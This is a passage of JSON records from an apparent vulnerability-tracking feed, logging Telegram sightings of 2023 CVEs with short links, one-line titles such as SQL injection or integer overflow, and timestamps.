"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47353", "type": "seen", "source": "https://t.me/ctinow/179673", "content": "https://ift.tt/W6R9TjQ\nCVE-2023-47353", "creation_timestamp": "2024-02-06T02:26:46.000000Z"}, {"uuid": "e01f8786-55e8-45da-bf97-4c2268278341", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47022", "type": "seen", "source": "https://t.me/ctinow/179672", "content": "https://ift.tt/PWqDg08\nCVE-2023-47022", "creation_timestamp": "2024-02-06T02:26:45.000000Z"}, {"uuid": "686d249b-f3a6-47a2-9c4c-6d75288ca684", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4797", "type": "seen", "source": "https://t.me/ctinow/179856", "content": "https://ift.tt/VOzMx5I\nCVE-2023-4797 | SendPress Newsletters Plugin up to 4.9.2 on WordPress sql injection", "creation_timestamp": "2024-02-06T09:41:28.000000Z"}, {"uuid": "eb438b48-8e8e-4204-8887-3e8d515c9ab8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47353", "type": "seen", "source": "https://t.me/ctinow/184204", "content": "https://ift.tt/yJgP6qM\nCVE-2023-47353 Exploit", "creation_timestamp": "2024-02-13T21:16:55.000000Z"}, {"uuid": "5089e6a1-bd25-443c-b582-15383372ca77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47889", "type": "seen", "source": "https://t.me/ctinow/184203", "content": "https://ift.tt/gukKeVO\nCVE-2023-47889 Exploit", "creation_timestamp": "2024-02-13T21:16:54.000000Z"}, {"uuid": "b02da03e-3b94-4851-9ee8-b4cbfab051f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47889", "type": "seen", "source": "https://t.me/ctinow/179674", "content": "https://ift.tt/JajdmEc\nCVE-2023-47889", "creation_timestamp": "2024-02-06T02:26:47.000000Z"}, {"uuid": "8b4a1278-752b-42f1-9140-233b1b03f68e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47354", "type": "seen", "source": "https://t.me/ctinow/179658", "content": "https://ift.tt/mCFuK7k\nCVE-2023-47354", "creation_timestamp": "2024-02-06T01:31:40.000000Z"}, {"uuid": "aa3e72ac-f3f4-4e55-b221-00c52ae90113", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47355", "type": "seen", "source": "https://t.me/ctinow/179350", "content": "https://ift.tt/3yzEkBN\nCVE-2023-47355", "creation_timestamp": "2024-02-05T17:22:22.000000Z"}, {"uuid": "8cf68f47-e61f-4904-90ed-925ab5de5ec8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47718", "type": "seen", "source": "https://t.me/ctinow/183251", "content": "https://ift.tt/lDkLs8r\nCVE-2023-47718 | IBM Maximo Asset Management 7.6.1.3/8.10/8.11 cross-site request forgery (XFDB-271843)", "creation_timestamp": "2024-02-12T17:17:09.000000Z"}, {"uuid": "76e9cad5-ed29-4fc3-a710-39af0bf3cd15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "seen", "source": "https://t.me/ctinow/184575", "content": "https://ift.tt/quJsGH4\nQNAP fixes OS command injection flaws affecting its NAS devices (CVE-2023-47218, CVE-2023-50358)", "creation_timestamp": "2024-02-14T12:16:32.000000Z"}, {"uuid": "0a0af984-5fde-4335-abff-39e8fb99e49a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47355", "type": "seen", "source": "https://t.me/ctinow/184057", "content": "https://ift.tt/AdTQIkp\nCVE-2023-47355 Exploit", "creation_timestamp": "2024-02-13T19:17:17.000000Z"}, {"uuid": "55b55a52-e7f8-430e-aa7e-6c029dce3629", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47526", "type": "seen", "source": "https://t.me/ctinow/182934", "content": "https://ift.tt/pXxtadW\nCVE-2023-47526", "creation_timestamp": "2024-02-12T08:21:23.000000Z"}, {"uuid": "1f1f7a0c-5355-4cfd-b93a-57cd2eb53ce5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47354", "type": "seen", "source": "https://t.me/ctinow/184207", "content": "https://ift.tt/oNv18c7\nCVE-2023-47354 Exploit", "creation_timestamp": "2024-02-13T21:16:59.000000Z"}, {"uuid": "51622ad5-83b4-4176-acc8-bebaf0667c99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "seen", "source": "https://t.me/ctinow/183590", "content": "https://ift.tt/orhlQcd\nCVE-2023-47218", "creation_timestamp": "2024-02-13T04:31:43.000000Z"}, {"uuid": "52b855b7-2e52-4c82-855d-9f530d2792db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47352", "type": "seen", "source": "https://t.me/ctinow/170988", "content": "https://ift.tt/2W7hcnr\nCVE-2023-47352", "creation_timestamp": "2024-01-22T06:30:27.000000Z"}, {"uuid": "b33ba1eb-58fd-4244-a8cf-257d7416ff50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47459", "type": "seen", "source": "https://t.me/ctinow/178599", "content": "https://ift.tt/jiArEUc\nCVE-2023-47459 | Knovos Discovery 22.67.0 GetProductSiteName information disclosure", "creation_timestamp": "2024-02-03T16:51:36.000000Z"}, {"uuid": "3d4382f0-b22d-4116-9a29-dc223f36a850", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47460", "type": "seen", "source": "https://t.me/ctinow/178585", "content": "https://ift.tt/pUGqjkw\nCVE-2023-47460 | Knovos Discovery 22.67.0 getGridColumnStructure sql injection", "creation_timestamp": "2024-02-03T15:21:20.000000Z"}, {"uuid": "c88c57b7-792d-4c96-ba23-a7ae57704e24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47170", "type": "seen", "source": "https://t.me/ctinow/178976", "content": "https://ift.tt/am0kDPs\nCVE-2023-47170", "creation_timestamp": "2024-02-05T06:31:26.000000Z"}, {"uuid": "b77fe4a6-fc3e-44d6-90bc-3cf28fb33ae4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47144", "type": "seen", "source": "https://t.me/ctinow/178079", "content": "https://ift.tt/eviq91U\nCVE-2023-47144", "creation_timestamp": "2024-02-02T14:21:41.000000Z"}, {"uuid": "8b1e90ee-03fd-445e-bb4c-6f53c48d317a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47143", "type": "seen", "source": "https://t.me/ctinow/178078", "content": "https://ift.tt/QSdtrWv\nCVE-2023-47143", "creation_timestamp": "2024-02-02T14:21:39.000000Z"}, {"uuid": "a67f1964-84ec-45e5-aad1-8df9bd486f17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47115", "type": "seen", "source": "https://t.me/ctinow/177766", "content": "https://ift.tt/mn9KARf\nCVE-2023-47115 Exploit", "creation_timestamp": "2024-02-01T20:16:36.000000Z"}, {"uuid": "23df038c-6d5c-4054-ab18-cc6b01fad337", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47142", "type": "seen", "source": "https://t.me/ctinow/178106", "content": "https://ift.tt/PiuD9as\nCVE-2023-47142", "creation_timestamp": "2024-02-02T15:21:53.000000Z"}, {"uuid": "f8998c97-7d32-4521-b9e5-c471154fe95d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47617", "type": "seen", "source": "https://t.me/ctinow/181842", "content": "https://ift.tt/x4ai5Wb\nCVE-2023-47617 Exploit", "creation_timestamp": "2024-02-09T08:16:35.000000Z"}, {"uuid": "1c78342d-6979-4551-b694-901167debc1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47618", "type": "seen", "source": "https://t.me/ctinow/181841", "content": "https://ift.tt/Egek3SC\nCVE-2023-47618 Exploit", "creation_timestamp": "2024-02-09T08:16:34.000000Z"}, {"uuid": "b1c381b9-334f-40d8-8927-513742cdd186", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47033", "type": "seen", "source": "https://t.me/ctinow/176189", "content": "https://ift.tt/0f2qmrV\nCVE-2023-47033 Exploit", "creation_timestamp": "2024-01-30T19:17:12.000000Z"}, {"uuid": "e6df5a9b-e64b-48c1-8490-d76aac12b621", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47867", "type": "seen", "source": "https://t.me/ctinow/177837", "content": "https://ift.tt/MYtkBNm\nCVE-2023-47867", "creation_timestamp": "2024-02-02T00:26:23.000000Z"}, {"uuid": "6034cea0-8973-4836-a66b-6071e98a46b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47148", "type": "seen", "source": "https://t.me/ctinow/178080", "content": "https://ift.tt/itJDzuk\nCVE-2023-47148", "creation_timestamp": "2024-02-02T14:21:42.000000Z"}, {"uuid": "57c6a6fa-995c-4a1e-b154-af942a078532", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47257", "type": "seen", "source": "https://t.me/ctinow/177821", "content": "https://ift.tt/HBe3io2\nCVE-2023-47257", "creation_timestamp": "2024-02-01T23:26:33.000000Z"}, {"uuid": "b6e3e007-0410-41b9-bad8-b63b81748c2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47256", "type": "seen", "source": "https://t.me/ctinow/177820", "content": "https://ift.tt/PgQm1yE\nCVE-2023-47256", "creation_timestamp": "2024-02-01T23:26:32.000000Z"}, {"uuid": "5a14143b-e94a-460f-8ba7-440ae0c104db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47167", "type": "seen", "source": "https://t.me/ctinow/181844", "content": "https://ift.tt/jR1BCq5\nCVE-2023-47167 Exploit", "creation_timestamp": "2024-02-09T08:16:37.000000Z"}, {"uuid": "5d3e3f90-38d6-47d6-bbb3-4a62e47e0f18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47209", "type": "seen", "source": "https://t.me/ctinow/181843", "content": "https://ift.tt/l3KXxuG\nCVE-2023-47209 Exploit", "creation_timestamp": "2024-02-09T08:16:36.000000Z"}, {"uuid": "72e27246-f331-475e-b620-7cf83a489de4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47152", "type": "seen", "source": "https://t.me/ctinow/171439", "content": "https://ift.tt/Kqp2MGt\nCVE-2023-47152", "creation_timestamp": "2024-01-22T21:31:21.000000Z"}, {"uuid": "1fe48388-d948-45a7-a026-8227c664ce1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47132", "type": "seen", "source": "https://t.me/ctinow/181726", "content": "https://ift.tt/eJ78IA9\nCVE-2023-47132", "creation_timestamp": "2024-02-09T00:26:28.000000Z"}, {"uuid": "c2f395d9-58d6-4eb2-a804-272d3e77ee82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47131", "type": "seen", "source": "https://t.me/ctinow/181725", "content": "https://ift.tt/h8BsLli\nCVE-2023-47131", "creation_timestamp": "2024-02-09T00:26:27.000000Z"}, {"uuid": "6635a11c-59e3-4f1f-9287-4bf33c2d1ba7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47116", "type": "seen", "source": "https://t.me/ctinow/182203", "content": "https://ift.tt/AUOc3wV\nCVE-2023-47116 Exploit", "creation_timestamp": "2024-02-09T19:17:13.000000Z"}, {"uuid": "c93c8af2-e770-4ad2-bfdf-46616ce9c864", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47039", "type": "seen", "source": "https://t.me/ctinow/181324", "content": "https://ift.tt/obGxTZN\nCVE-2023-47039 Perl Vulnerability in NetApp Products", "creation_timestamp": "2024-02-08T12:26:35.000000Z"}, {"uuid": "f702bccf-11a1-4837-8bf5-982cf3bd0b84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47020", "type": "seen", "source": "https://t.me/ctinow/181498", "content": "https://ift.tt/UhklEYX\nCVE-2023-47020", "creation_timestamp": "2024-02-08T17:32:00.000000Z"}, {"uuid": "45c6debc-598a-4766-a6a0-039709f97cc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47798", "type": "seen", "source": "https://t.me/ctinow/181150", "content": "https://ift.tt/VWOsiwu\nCVE-2023-47798", "creation_timestamp": "2024-02-08T04:21:47.000000Z"}, {"uuid": "60ec4ebe-6fb0-4656-8020-11f31e25f02f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47158", "type": "seen", "source": "https://t.me/ctinow/171440", "content": "https://ift.tt/D3Qjubp\nCVE-2023-47158", "creation_timestamp": "2024-01-22T21:31:22.000000Z"}, {"uuid": "f75f3128-7ddd-427c-9d94-4d4488d4a18a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47458", "type": "seen", "source": "https://t.me/ctinow/171773", "content": "https://ift.tt/A63JxVa\nCVE-2023-47458 | SpringBlade up to 3.7.0 permission", "creation_timestamp": "2024-01-23T08:51:30.000000Z"}, {"uuid": "5d94e1e7-77bd-4737-9849-58ccf9ba5d91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47460", "type": "seen", "source": "https://t.me/ctinow/171514", "content": "https://ift.tt/fy5Y1vl\nCVE-2023-47460 Exploit", "creation_timestamp": "2024-01-22T23:16:36.000000Z"}, {"uuid": "1c6713f3-3446-49b1-b552-61d0ae552c24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47141", "type": "seen", "source": "https://t.me/ctinow/171476", "content": "https://ift.tt/8HJZoBb\nCVE-2023-47141", "creation_timestamp": "2024-01-22T22:26:20.000000Z"}, {"uuid": "1fb2e156-5b76-4c60-b2b0-c35c00f663e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47747", "type": "seen", "source": "https://t.me/ctinow/171441", "content": "https://ift.tt/NaUhclX\nCVE-2023-47747", "creation_timestamp": "2024-01-22T21:31:23.000000Z"}, {"uuid": "17122cbe-7640-4ef3-86a3-90012d8d3355", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47746", "type": "seen", "source": "https://t.me/ctinow/171394", "content": "https://ift.tt/KlicdEn\nCVE-2023-47746", "creation_timestamp": "2024-01-22T20:26:18.000000Z"}, {"uuid": "a0841fec-1f9b-4904-986c-55ac4ea9051a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47216", "type": "seen", "source": "https://t.me/ctinow/171301", "content": "https://ift.tt/m9l3Fic\nCVE-2023-47216 | OpenHarmony up to 3.2.2 release of resource", "creation_timestamp": "2024-01-22T17:16:10.000000Z"}, {"uuid": "7da9d5a9-58de-4f59-8889-8cea33282b4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47857", "type": "seen", "source": "https://t.me/ctinow/171282", "content": "https://ift.tt/C0pGTBx\nCVE-2023-47857 | OpenHarmony up to 3.2.2 Multimedia Camera use after free", "creation_timestamp": "2024-01-22T16:37:38.000000Z"}, {"uuid": "a67b60a5-9939-42a9-b676-eae676665c89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4785", "type": "seen", "source": "https://t.me/cibsecurity/70399", "content": "\u203c CVE-2023-4785 \u203c\n\nLack of error handling in the TCP server in Google's gRPC starting version 1.23 on posix-compatible platforms (ex. Linux) allows an attacker to cause a denial of service by initiating a significant number of connections with the server. Note that gRPC C++ Python, and Ruby are affected, but gRPC Java, and Go are NOT affected.\u00c2\u00a0\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-13T20:23:47.000000Z"}, {"uuid": "2b7b3875-8dd9-48cc-a7cd-888952801753", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4701", "type": "seen", "source": "https://t.me/cibsecurity/70390", "content": "\u203c CVE-2023-4701 \u203c\n\nA Improper Privilege Management vulnerability through an incorrect use of privileged APIs in CodeMeter Runtime versions prior to 7.60c allow a local, low privileged attacker to use an API call for escalation of privileges in order gain full admin access on the host system.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-13T18:23:43.000000Z"}, {"uuid": "5a04f678-d897-45ec-9cd9-c4c53e2b886d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47247", "type": "seen", "source": "https://t.me/ctinow/170101", "content": "https://ift.tt/LJvuCw3\nCVE-2023-47247 | SysAid On-Premise up to 23.3.33 Knowledge Base Article denial of service", "creation_timestamp": "2024-01-19T08:42:00.000000Z"}, {"uuid": "f9e00ae7-9be8-4634-802b-d84c1d101136", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47804", "type": "seen", "source": "https://t.me/ctinow/170703", "content": "https://ift.tt/Jt9aZPR\nCVE-2023-47804 | Apache OpenOffice up to 4.1.15 Macro URL argument injection", "creation_timestamp": "2024-01-20T19:21:55.000000Z"}, {"uuid": "0b0aa145-9a43-4869-900b-9557619fc9e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47035", "type": "seen", "source": "https://t.me/ctinow/176151", "content": "https://ift.tt/hX2MwQT\nCVE-2023-47035 Exploit", "creation_timestamp": "2024-01-30T18:17:18.000000Z"}, {"uuid": "4b01e904-58f8-428f-bebc-3f5db43db476", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47996", "type": "seen", "source": "https://t.me/ctinow/174850", "content": "https://ift.tt/YRT0KEq\nCVE-2023-47996 | FreeImage 3.18.0 Exif.cpp jpeg_read_exif_dir integer overflow", "creation_timestamp": "2024-01-28T07:56:56.000000Z"}, {"uuid": "e94d9660-55fc-4d6c-8771-c1247cbd5eb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47997", "type": "seen", "source": "https://t.me/ctinow/174849", "content": "https://ift.tt/ROXZN03\nCVE-2023-47997 | FreeImage 3.18.0 BitmapAccess.cpp FreeImage_AllocateBitmap denial of service", "creation_timestamp": "2024-01-28T07:56:54.000000Z"}, {"uuid": "9ea0fb24-2bc2-45e3-b0f3-ae695cce987f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47994", "type": "seen", "source": "https://t.me/ctinow/174848", "content": "https://ift.tt/1uYP7UA\nCVE-2023-47994 | FreeImage 3.18.0 PluginBMP.cpp LoadPixelDataRLE4 integer overflow", "creation_timestamp": "2024-01-28T07:56:54.000000Z"}, {"uuid": "2adf19b7-f115-469c-8b54-b3f3c57a18b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47460", "type": "seen", "source": "https://t.me/ctinow/168590", "content": "https://ift.tt/xFu7Xc5\nCVE-2023-47460", "creation_timestamp": "2024-01-16T02:26:38.000000Z"}, {"uuid": "93505b95-4b0a-4630-a3f3-12263dfd18fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47459", "type": "seen", "source": "https://t.me/ctinow/168589", "content": "https://ift.tt/2H8KX9l\nCVE-2023-47459", "creation_timestamp": "2024-01-16T02:26:37.000000Z"}, {"uuid": "0473403f-f3f5-4f85-b86e-b3fb46897c21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47992", "type": "seen", "source": "https://t.me/ctinow/174841", "content": "https://ift.tt/ipqw9v0\nCVE-2023-47992 | FreeImage 3.18.0 FreeImageIO.cpp _MemoryReadProc integer overflow", "creation_timestamp": "2024-01-28T06:51:25.000000Z"}, {"uuid": "0f873f09-0810-4b54-8a78-b12fc5a9e555", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47862", "type": "seen", "source": "https://t.me/ctinow/174939", "content": "https://ift.tt/PiwJF7Y\nCVE-2023-47862 | WWBN AVideo 15fed957fb HTTP Request getLanguageFromBrowser file inclusion (TALOS-2023-1886)", "creation_timestamp": "2024-01-28T13:56:27.000000Z"}, {"uuid": "279ef193-49d4-44d6-bac7-49dbbfac4b3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47861", "type": "seen", "source": "https://t.me/ctinow/174936", "content": "https://ift.tt/vN0qFU4\nCVE-2023-47861 | WWBN AVideo 11.6 HTTP Request channelBody.php cross site scripting (TALOS-2023-1884)", "creation_timestamp": "2024-01-28T13:56:23.000000Z"}, {"uuid": "bca096a9-703f-4470-9b7b-61d844d08f5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47171", "type": "seen", "source": "https://t.me/ctinow/174930", "content": "https://ift.tt/dDOtWsx\nCVE-2023-47171 | WWBN AVideo 11.6 HTTP Request aVideoEncoder.json.php file inclusion (TALOS-2023-1869)", "creation_timestamp": "2024-01-28T13:26:34.000000Z"}, {"uuid": "6e576bb4-d2aa-4669-ac65-d4e8898508b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47993", "type": "seen", "source": "https://t.me/ctinow/174852", "content": "https://ift.tt/N90tyEo\nCVE-2023-47993 | FreeImage 3.18.0 Exif.cpp ReadInt32 out-of-bounds", "creation_timestamp": "2024-01-28T08:26:39.000000Z"}, {"uuid": "2c362b19-0798-4939-9c70-6a47bb161200", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47995", "type": "seen", "source": "https://t.me/ctinow/174851", "content": "https://ift.tt/rXyZ4Wh\nCVE-2023-47995 | FreeImage 3.18.0 BitmapAccess.cpp FreeImage_AllocateBitmap buffer overflow", "creation_timestamp": "2024-01-28T07:56:56.000000Z"}, {"uuid": "99190c3f-2e3b-4a67-aee4-1fec2d064e09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47327", "type": "seen", "source": "https://t.me/ctinow/165692", "content": "https://ift.tt/8iXQ2sz\nCVE-2023-47327 | Silverpeas Core 6.3.1 Create a Space access control", "creation_timestamp": "2024-01-10T10:41:17.000000Z"}, {"uuid": "79c54c4a-dbe6-4114-864a-fd75efc00bc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47024", "type": "seen", "source": "https://t.me/ctinow/170508", "content": "https://ift.tt/fmrtVZR\nCVE-2023-47024", "creation_timestamp": "2024-01-20T03:31:46.000000Z"}, {"uuid": "79766728-b723-4cbd-add5-933b8013989b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4782", "type": "seen", "source": "https://t.me/cibsecurity/70164", "content": "\u203c CVE-2023-4782 \u203c\n\nTerraform version 1.0.8 through 1.5.6 allows arbitrary file write during the `init` operation if run on maliciously crafted Terraform configuration. This vulnerability is fixed in Terraform 1.5.7.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-08T22:21:42.000000Z"}, {"uuid": "13e1e27c-d55b-473e-9fc3-0b82a4c34dda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47034", "type": "seen", "source": "https://t.me/ctinow/170322", "content": "https://ift.tt/dzLbjiK\nCVE-2023-47034", "creation_timestamp": "2024-01-19T18:22:05.000000Z"}, {"uuid": "c0c7f649-f9a7-4101-94be-6aa0d1f6d7e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47033", "type": 